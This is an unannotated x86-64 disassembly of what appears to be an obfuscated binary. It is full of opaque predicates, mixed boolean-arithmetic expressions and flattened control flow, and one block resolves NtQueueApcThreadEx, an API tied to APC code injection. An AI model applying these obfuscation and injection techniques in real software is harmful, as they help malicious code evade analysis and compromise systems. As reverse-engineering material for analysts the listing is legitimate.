or eax, edx
mov ecx, eax
not ecx
and ecx, 0xcc030610
and eax, 0x33fcf9ef
or eax, ecx
xor eax, 0x33fcf9ef
setne al
sete bl
cmp dword [0x1402656e4], 9
setg dl
xor bl, dl
mov ecx, ebx
xor cl, dl
and cl, bl
xor al, dl
mov edx, ecx
xor dl, 1
xor cl, al
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test cl, cl
mov ecx, 0xdf43707
mov ebp, 0x869bfd88
cmovne ecx, ebp
test al, al
mov eax, 0xdf43707
cmovne ecx, eax
test dl, dl
jmp 0x14013ee2d
mov ecx, 0x7701af91
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov ebx, ecx
and ebx, 0xb30b0c4
mov edx, ebp
xor edx, 0xb30b0c4
and edx, ebp
mov edi, ebx
and edi, edx
xor edx, ebx
or edx, edi
mov ebx, edx
not ebx
and ebx, 0xf4cf4f3a
and edx, 0xb30b0c5
or edx, ebx
mov edi, edx
not edi
mov ebx, edi
and ebx, 0x9e4547c9
and edx, 0x61bab836
or edx, ebx
and ebp, 0x9e4547c9
and ecx, 0x61bab836
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl al
and dl, al
and r8b, cl
or r8b, dl
mov edx, eax
and dl, cl
xor al, cl
or dl, al
xor dl, 1
mov ecx, eax
and cl, dl
xor dl, al
or dl, cl
mov eax, edx
not al
mov ebx, r8d
xor bl, 1
and al, bl
or bl, dl
and dl, r8b
or dl, al
mov eax, ebx
xor al, dl
test dl, dl
mov ecx, 0x3b20c157
mov ebp, 0x9eee9600
cmovne ecx, ebp
test bl, 1
mov edx, 0x3b20c157
cmovne ecx, edx
test al, 1
jmp 0x14013ee2d
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xa0c12a03
mov ecx, ebp
and ecx, 0x5f3ed5fc
or ecx, edx
mov edi, ecx
xor edi, 0x5d2c147c
xor ecx, 0xc02a02
mov edx, ebx
or edx, 0x2d2eb82
or ecx, 1
and ecx, 0x2d2eb83
and edi, 0xfd2d147c
or edi, ecx
and edx, 0x2d2eb83
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xd8b0e4a9
and edx, 0x274f1b56
or edx, ecx
xor edx, 0x274f1b56
and ebx, 0x33b669a8
and ebp, 0xcc499657
or ebp, ebx
xor ebp, 0xcc499657
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
cmp ebp, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg r9b
cmp eax, 0xa
setl dl
mov ecx, edx
xor cl, r9b
and cl, dl
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov r11d, eax
xor r11b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r11b
xor bl, 1
or al, cl
xor al, 1
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor r9b, r10b
or r10b, al
xor al, 1
or al, r8b
mov ecx, r10d
xor cl, al
or al, r10b
xor al, 1
or al, cl
mov ecx, edx
and cl, r8b
xor dl, r8b
or dl, cl
xor dl, 1
mov ecx, r9d
and cl, dl
xor dl, r9b
or dl, cl
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ebx, eax
xor bl, cl
or al, cl
xor al, 1
or al, bl
xor al, dl
mov ebx, ecx
and bl, dl
xor cl, dl
or cl, bl
mov edx, eax
xor dl, cl
test cl, 1
mov ecx, 0x3e6fe1ba
mov ebp, 0x59b41691
cmovne ecx, ebp
test al, 1
cmovne ecx, ebp
not dl
test dl, 1
mov eax, 0x3e6fe1ba
jmp 0x140140dec
mov rsi, qword [rsp + 0x38]
mov ebp, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea edx, [rbp - 1]
imul edx, ebp
mov ebp, edx
not ebp
and ebp, 0x15c4e2d
and edx, 0xfea3b1d2
or edx, ebp
mov ebp, edx
xor ebp, 0xc4029080
mov ebx, edx
xor ebx, 0x15c4e2d
mov edi, ebx
and edi, 0x3ab92b57
and ebp, 0xc546d4a8
or ebp, edi
mov edi, ebp
not edi
and edi, 0xd6a0e94f
and ebp, 0x295f16b0
or ebp, edi
xor ebp, 0x13e63de6
and ebx, 1
xor edx, 0x15c4e2c
or edx, ebx
not edx
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
mov ebx, edx
xor ebx, 0xfcfe6d7b
and ebx, edx
or edx, 0x3019284
mov edi, edx
and edi, 0xa4fd2c6c
and ebp, 0x58024113
or ebp, edi
mov edi, ebx
not edi
or edx, edi
and edi, 0xa4fd2c6c
and ebx, 0x5b02d393
or ebx, edi
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x3019284
and edx, 0xfcfe6d7b
or edx, ebp
sete dl
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
and bl, cl
and al, dl
or al, bl
xor al, 1
or al, cl
xor dl, cl
mov ecx, edx
xor cl, al
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x478f27eb
mov ebp, 0xf89444bb
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0x478f27eb
cmovne ecx, ebp
mov qword [0x1402650a0], rsi
jmp 0x14014088a
mov rsi, qword [rsp + 0x38]
mov edx, dword [0x1402656e8]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x110cc930
mov ecx, ebp
and ecx, 0x6930001
or ecx, edx
xor ecx, 0x6930001
mov edx, ebp
xor edx, 0x179fc931
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xe86036cf
and edx, 0x179fc930
or edx, ecx
mov ecx, edx
not ecx
mov edi, edx
and edi, 0x14284681
and ecx, 0xebd7b97e
or ecx, edi
mov edi, dword [0x1402656e4]
or edx, ebp
and ebp, 0x14284681
and ebx, 0xebd7b97e
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
setne r9b
sete r8b
cmp edi, 0xa
setl cl
cmp edi, 9
setg bl
mov edx, ebx
xor dl, r8b
not dl
and dl, r8b
xor r9b, bl
or bl, r8b
mov eax, ebx
xor al, dl
xor dl, 1
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor r9b, 1
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, r9d
xor al, cl
or cl, r9b
xor cl, 1
or cl, al
mov ebx, ecx
xor bl, 1
mov r9d, edx
xor r9b, 1
mov r8d, edx
and r8b, r9b
and bl, cl
mov eax, r8d
xor al, 1
xor r8b, dl
or al, r9b
xor al, 1
or al, r8b
xor bl, 1
mov edx, ebx
xor dl, cl
or bl, cl
xor bl, 1
or bl, dl
xor bl, al
mov eax, r9d
and al, cl
xor r9b, cl
or r9b, al
mov eax, r9d
xor al, bl
test al, 1
mov eax, 0x447785ca
mov ecx, 0xce199f66
cmovne eax, ecx
test r9b, 1
mov ecx, 0x447785ca
cmovne ecx, eax
mov qword [0x1402650a0], rsi
jmp 0x14014056e
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xd4122841
and edx, ecx
and ecx, 0x2bedd7be
or ecx, ebp
xor ecx, 0x2bedd7be
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0xcf794c22
mov edx, ecx
and edx, 0x3086b3dd
or edx, ebp
mov ebp, edx
xor ebp, 0x3086b3dd
mov ebx, edx
xor ebx, 0xb443dd2
and ebx, ebp
and ecx, 0x3bc28e0f
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xf07ce6fc
and ecx, 0xf831903
or ecx, ebx
mov ebx, ecx
xor ebx, 0x82a02882
and ebp, 1
xor edx, 0x3086b3dc
or edx, ebp
mov ebp, edx
not ebp
xor ecx, 0x3441970d
mov edi, ecx
and edi, 0x4d1fc371
and ebx, 0xb2e03c8e
or ebx, edi
or ecx, edx
and edx, 0x4d1fc371
and ebp, 0xb2e03c8e
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x7e98d255
and ecx, 0x81672daa
or ecx, edx
mov edx, ecx
xor edx, 0xc28
xor ecx, 0x7e98d255
mov ebp, ecx
and ebp, 0xafefe386
and edx, 0x50101c79
or edx, ebp
xor edx, 0x50101c79
or edx, ecx
cmp edx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg r9b
mov eax, r9d
and al, cl
xor r9b, cl
or r9b, al
mov r8d, r9d
xor r8b, 1
mov eax, ecx
or al, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov r10d, ecx
xor r10b, 1
mov edx, r8d
and dl, r9b
mov ebx, ecx
and bl, r10b
mov eax, edx
xor al, 1
xor dl, r8b
or al, r9b
xor al, 1
or al, dl
xor bl, 1
mov edx, ebx
xor dl, r10b
or bl, r10b
xor bl, 1
or bl, dl
mov edx, eax
xor dl, 1
and dl, bl
xor bl, 1
and bl, al
or bl, dl
xor r10b, r9b
or cl, r8b
xor cl, 1
or cl, r10b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x8cc07c98
mov edx, 0xdfc88877
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x8cc07c98
jmp 0x140140dec
mov ecx, 0xbb8e8b4d
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea edi, [rax - 1]
imul edi, eax
mov ebp, edi
not ebp
mov edx, ebp
and edx, 0x10405598
mov ecx, edi
and ecx, 0x41208205
or ecx, edx
mov ebx, ecx
xor ebx, 0x1008204
xor ecx, 0x80496900
mov eax, ebp
or eax, 0x5160d79d
mov edx, eax
not edx
and ecx, 0xc0696901
and ebx, 0x1100969c
or ebx, ecx
and eax, 0xc0696901
and edx, 0x2e960062
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0xae9f2863
and edx, 0x5160d79c
or edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x8fd7dee3
and eax, 0x7028211c
or eax, ecx
or edx, edi
and edi, 0x8fd7dee3
and ebp, 0x7028211c
or ebp, edi
xor ebp, eax
not edx
or edx, ebp
mov eax, edx
not eax
and eax, 0x22175bb7
and edx, 0xdde8a448
or edx, eax
xor edx, 0xdde8a448
setne al
cmp dword [0x1402656e4], 9
setg bl
mov edx, ebx
and dl, al
xor bl, al
or dl, bl
mov eax, edx
not al
mov ecx, ebx
xor cl, 1
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
mov eax, 0xf714412
mov ebp, 0x946090ba
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0xf714412
jmp 0x140140887
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0xdb503062
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xe9c2cf30
and ebp, 0x163d30cf
or ebp, edi
or edx, ebx
and ebx, 0xe9c2cf30
and ecx, 0x163d30cf
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5a5cf5b7
mov ebx, edx
and ebx, 0xa5a30a48
or ebx, ebp
mov ebp, ebx
not ebp
and ebp, 0xa5a30a49
and ebx, 0x5a5cf5b6
or ebx, ebp
and edx, 0x408bf7f9
mov ebp, ecx
and ebp, 0xbf740806
or ebp, edx
xor ebp, 0x408bf7f8
and ecx, 1
or ecx, ebp
not ecx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xf58d86b
and ecx, 0xf0a72794
or ecx, edx
mov edx, ecx
xor edx, 0xa50290
xor ecx, 0xf58d86b
mov ebp, ecx
and ebp, 0xf9427d25
and edx, 0x6bd82da
or edx, ebp
xor edx, 0xf9427d25
xor ecx, edx
test ecx, edx
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
and dl, bl
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
not cl
and al, r8b
or al, dl
mov edx, eax
xor dl, 1
and al, bl
and cl, dl
or cl, al
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0xe6c09f8a
mov ebp, 0x3ad0b10f
cmovne edx, ebp
test cl, cl
cmove edx, ebp
test al, 1
mov eax, 0xe6c09f8a
jmp 0x14014036a
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x5ccf8cbc
and ebp, 0xa3307343
or ebp, edi
or ecx, ebx
and ebx, 0x5ccf8cbc
and edx, 0xa3307343
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
mov ebp, ecx
xor ebp, 0xc41a41c7
and ebp, ecx
not ecx
and ecx, 0xe656155
and edx, 0xf19a9eaa
or edx, ecx
mov ecx, edx
xor ecx, 0x1a0002
xor edx, 0x4004145
or edx, 0x3be5be38
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xd9457ac5
and ecx, 0x41a0102
or ecx, edi
or edx, ebx
and ebx, 0xd9457ac5
and ebp, 0x26ba853a
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x4e3575a7
and edx, 0xb1ca8a58
or edx, ecx
mov ecx, edx
xor ecx, 0x40904a0c
xor edx, 0x88271060
and edx, 0xbd6791f3
and ecx, 0x42986e0c
or ecx, edx
mov edx, ecx
xor edx, 0x2002000
xor ecx, 0x92311f0
and ecx, 0x49bb5ffc
and edx, 0xb644a003
or edx, ecx
mov ecx, edx
xor ecx, 0x41a30e90
xor edx, 0xa2442001
and edx, 0xaa5c716d
and ecx, 0x55a38e92
or ecx, edx
xor ecx, 0x55a38e92
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
mov eax, ebx
and al, dl
xor bl, dl
or bl, al
mov r8d, ebx
xor r8b, 1
xor cl, dl
mov eax, ecx
xor al, 1
mov edx, ebx
and dl, r8b
and cl, al
mov r9d, ebx
and r9b, dl
xor dl, bl
or dl, r9b
xor cl, 1
mov ebx, eax
xor bl, cl
or cl, al
xor cl, 1
or cl, bl
mov ebx, edx
xor bl, 1
and bl, cl
xor cl, 1
and cl, dl
or cl, bl
mov edx, r8d
xor dl, al
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x71bfdc97
mov ebp, 0x1b9253fb
cmovne eax, ebp
test cl, 1
cmove eax, ebp
test dl, 1
mov ecx, 0x71bfdc97
jmp 0x14013281c
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x9a414242
and ecx, 0x65bebdbd
or ecx, edx
mov edx, ecx
not edx
and edx, 0x77b6c580
and ecx, 0x88493a7f
or ecx, edx
mov edx, ecx
xor edx, 0x1208783d
xor ecx, 0xe0a10400
and ecx, 0xe2a97c39
mov edi, edx
and edi, 0x1d5683c6
or edi, ecx
mov esi, edi
xor esi, 0x1d5683c6
mov ebp, edi
xor ebp, 0x1bcda63e
and ebp, esi
and edx, 0x69b25f8
mov ebx, ebp
and ebx, edx
xor edx, ebp
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0x40e4cb4c
and edx, 0xbf1b34b3
or edx, ebp
mov ebx, edx
xor ebx, 0x44702491
xor edi, 0x62a94001
and edi, 0x6aa94387
mov ecx, esi
and ecx, 0x9556bc78
or ecx, edi
xor ecx, 0x6aa94386
and esi, 1
or esi, ecx
mov ecx, esi
not ecx
xor edx, 0xb980114a
mov ebp, edx
and ebp, 0xa30fda24
and ebx, 0x5cf025db
or ebx, ebp
or edx, esi
and esi, 0xa30fda24
and ecx, 0x5cf025db
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x827ce8b7
and edx, 0x7d831748
or edx, ecx
mov ecx, edx
xor ecx, 0x18030148
xor edx, 0x6c00a3
and edx, 0x65ec16a3
and ecx, 0x9a13e95c
or ecx, edx
mov edx, ecx
xor edx, 0xc41602
xor ecx, 0x1810c90c
and edx, 0x82c73652
and ecx, 0x7d38c9ad
or ecx, edx
xor ecx, 0x7d38c9ad
setne al
sete bl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
and al, dl
or dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
xor cl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
xor al, 1
mov r8d, ebx
xor r8b, al
or al, bl
xor al, 1
or al, r8b
xor al, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0xb50541f
mov edx, 0x11506384
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0xb50541f
jmp 0x140140dec
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0x4408c4a2
mov eax, ecx
and eax, 0x38762018
or eax, edx
mov ebx, eax
xor ebx, 0x28500018
xor eax, 0xc4095305
mov ebp, edi
or ebp, 0x7c7ee4ba
mov edx, ebp
not edx
and eax, 0xd42f7305
and ebx, 0x285084ba
or ebx, eax
and ebp, 0xd42f7305
and edx, 0x3800840
or edx, ebp
xor edx, ebx
mov eax, edx
not eax
and eax, 0x83811b44
and edx, 0x7c7ee4bb
or edx, eax
mov eax, edx
not eax
and eax, 0xe3a72523
and edx, 0x1c58dadc
or edx, eax
xor edx, 0x1c58dadc
and edi, 0xd5e43611
and ecx, 0x2a1bc9ee
or ecx, edi
xor ecx, 0x2a1bc9ee
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xaa0f7fab
and ecx, 0x55f08054
or ecx, eax
xor ecx, 0x55f08054
sete r8b
setne cl
cmp dword [0x1402656e4], 9
setg al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, r8b
not bl
and bl, r8b
or al, r8b
xor al, 1
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
and dl, cl
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
and dl, al
xor al, 1
xor bl, 1
and bl, al
or dl, bl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x2192ab4f
mov ecx, 0x2f4e6e64
cmovne ebp, ecx
test al, 1
mov ecx, 0x2192ab4f
cmovne ecx, ebp
jmp 0x14013ee2a
mov ecx, 0x3cd3f9c8
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x3dc8f582
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x2192ab4f
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, edx
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x22a2ff75
and ebp, 0xdd5d008a
or ebp, edi
or edx, ebx
and ebx, 0x22a2ff75
and ecx, 0xdd5d008a
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
mov ebp, edx
xor ebp, 0x25db92a4
and ebp, edx
not edx
and edx, 0xe9387fc2
and ecx, 0x16c7803d
or ecx, edx
mov edx, ecx
xor edx, 0xc18004
xor ecx, 0x21181280
or ecx, 0xda246d5b
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xb616272b
and edx, 0x1c99084
or edx, edi
or ecx, ebx
and ebx, 0xb616272b
and ebp, 0x49e9d8d4
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xda246d5b
and ecx, 0x25db92a4
or ecx, edx
mov edx, ecx
not edx
and edx, 0x5f90195a
and ecx, 0xa06fe6a5
or ecx, edx
mov edx, ecx
xor edx, 0x804a8285
xor ecx, 0x1e801100
and ecx, 0x3ea57520
and edx, 0xc15a8adf
or edx, ecx
mov ecx, edx
xor ecx, 0x32845400
xor edx, 0x1488a40
and edx, 0xd69ab60
and ecx, 0xf296549f
or ecx, edx
xor ecx, 0xf296549f
sete r8b
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
and cl, dl
and r8b, al
xor al, dl
or al, cl
xor al, 1
and bl, dl
or bl, r8b
xor bl, al
mov ecx, ebx
not cl
and cl, al
mov eax, ecx
xor al, bl
mov eax, 0x432fe54c
mov ebp, 0x2848e549
cmovne eax, ebp
test bl, bl
mov edx, eax
cmovne edx, ebp
test cl, cl
jmp 0x14014036a
mov ecx, 0xd0625067
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x3222608
and ebp, 0xa8150802
or ebp, edx
mov ebx, ebp
xor ebx, 0x88000000
xor ebp, 0xc26235
or ecx, 0xab372e0a
mov edx, ecx
not edx
and ebp, 0x20d76a37
and ebx, 0x8b200408
or ebx, ebp
and ecx, 0x20d76a37
and edx, 0x540891c0
or edx, ecx
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x66246fd3
and edx, 0x99db902c
or edx, ecx
mov ecx, edx
xor ecx, 0x32ecbe26
mov ebp, edx
xor ebp, 0x32ecbe27
and ebp, ecx
xor edx, 0x1114049
and edx, 0x21994249
and ecx, 0xde66bdb6
or ecx, edx
xor ecx, 0xde66bdb7
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x81ddddd
and edx, ecx
and ecx, 0xf7e22222
or ecx, ebp
xor ecx, 0xf7e22222
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, 0xc866c51d
and edx, 0x37993ae2
or edx, ecx
xor edx, 0x37993ae2
sete bl
setne r8b
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor r8b, al
mov ecx, ebx
xor cl, dl
or dl, bl
xor dl, 1
or dl, r8b
mov r8d, edx
xor r8b, 1
and cl, bl
or al, bl
xor cl, 1
mov ebx, ecx
xor bl, al
or cl, al
xor cl, 1
or cl, bl
mov eax, ecx
xor al, 1
and cl, dl
or dl, al
and al, r8b
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ebp, 0xf0cdae30
mov ecx, 0x2f4e6e64
cmovne ebp, ecx
test al, 1
mov ecx, ebp
mov eax, 0xf0cdae30
cmovne ecx, eax
jmp 0x14013fc77
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov edx, edi
and edx, 0x7f10ba4c
and ecx, 0x80ef45b3
or ecx, edx
mov ebx, ecx
xor ebx, 0x80014012
xor ecx, 0xa000
mov ebp, edi
or ebp, 0x8523ea16
mov edx, ebp
not edx
or ecx, 0x50d01040
and ecx, 0x50f2b040
and ebx, 0x85014a16
or ebx, ecx
and ebp, 0x50f2b040
and edx, 0x2a0c05a9
or edx, ebp
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0x7adc15e8
and edx, 0x8523ea17
or edx, ecx
not edx
mov ecx, edx
and ecx, edi
xor edx, edi
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x6d2511c0
and edx, 0x92daee3f
or edx, ecx
xor edx, 0x92daee3f
sete cl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg r9b
mov eax, ebx
and bl, r8b
and r8b, r9b
and al, cl
or al, r8b
mov edx, eax
xor dl, r9b
and dl, al
and cl, r9b
or bl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, 1
and bl, al
or al, cl
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x44fe0463
mov ebp, 0xce6e27ce
cmovne ecx, ebp
test al, al
mov eax, 0x44fe0463
cmovne ecx, eax
test dl, 1
cmove ecx, ebp
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x2f515845
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x445ca00
mov edx, ebp
and edx, 0x20920512
or edx, ebx
mov ebx, edx
xor ebx, 0x20020402
xor edx, 0xdf6dfaed
mov ecx, ebp
xor ecx, 0x24d7cf12
and ecx, ebp
mov esi, ecx
not esi
mov eax, edx
and eax, 0x1294417d
and ebx, 0x24438e02
or ebx, eax
or edx, esi
and esi, 0x1294417d
and ecx, 0xed6bbe82
or ecx, esi
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x44c763ea
and edx, 0xbb389c15
or edx, eax
mov eax, edx
xor eax, 0x9fef5306
and edi, 0x6e91084
and ebp, 0xf916ef7b
or ebp, edi
mov ecx, ebp
xor ecx, 0xf916ef7b
xor edx, 0x6010acf9
and ecx, edx
xor ebp, 0x6e91084
and ebp, eax
or ebp, ecx
xor edx, ebp
test edx, ebp
sete r9b
setne dl
cmp r8d, 0xa
setl bl
cmp r8d, 9
setg al
mov ecx, edx
and cl, al
or dl, bl
and bl, r9b
or bl, cl
mov r8d, ebx
xor r8b, al
and r8b, bl
xor dl, 1
or al, r9b
xor al, 1
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
and cl, r8b
or al, r8b
xor r8b, 1
xor dl, 1
and dl, r8b
or dl, cl
xor bl, r8b
xor al, 1
or al, bl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xb2682634
mov eax, 0xb1c1661d
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xb2682634
jmp 0x140140dec
mov eax, dword [0x1402656e8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x2022802
and ecx, 0x20e10088
or ecx, edx
mov ebp, ecx
xor ebp, 0x600000
xor ecx, 0x920c0071
or eax, 0x22e3288a
mov edx, eax
not edx
and ecx, 0xb28d00f9
and ebp, 0x622802
or ebp, ecx
and eax, 0xb28d00f9
and edx, 0x4d10d704
or edx, eax
xor edx, ebp
mov eax, edx
not eax
and eax, 0x120ae935
and edx, 0xedf516ca
or edx, eax
mov ebx, edx
xor ebx, 0xcc100a00
mov edi, edx
xor edi, 0x30e9c1bf
xor edx, 0x674dac38
and edx, edi
mov ebp, edi
or ebp, 0xa85b9278
mov ecx, ebp
not ecx
mov eax, edx
not eax
mov esi, eax
and esi, 0x3eb6c898
and edx, 0xc1493767
or edx, esi
or eax, ebp
and ebp, 0x3eb6c898
and ecx, 0x41002507
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x9e56df0a
and eax, 0x61a920f5
or eax, ecx
mov edx, eax
xor edx, 0x81322000
and ebx, 0xccf14b1b
mov ecx, edi
and ecx, 0x330eb4e4
or ecx, ebx
xor ecx, 0xccf14b1a
and edi, 1
or edi, ecx
mov ecx, edi
not ecx
xor eax, 0x360d4d73
mov ebp, eax
and ebp, 0x5cc49acd
and edx, 0xa33b6532
or edx, ebp
or eax, edi
and edi, 0x5cc49acd
and ecx, 0xa33b6532
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xc4b6bd43
and eax, 0x3b4942bc
or eax, ecx
mov ecx, eax
xor ecx, 0x39490200
xor eax, 0xc4b6bd43
mov edx, eax
and edx, 0x86a6f8bc
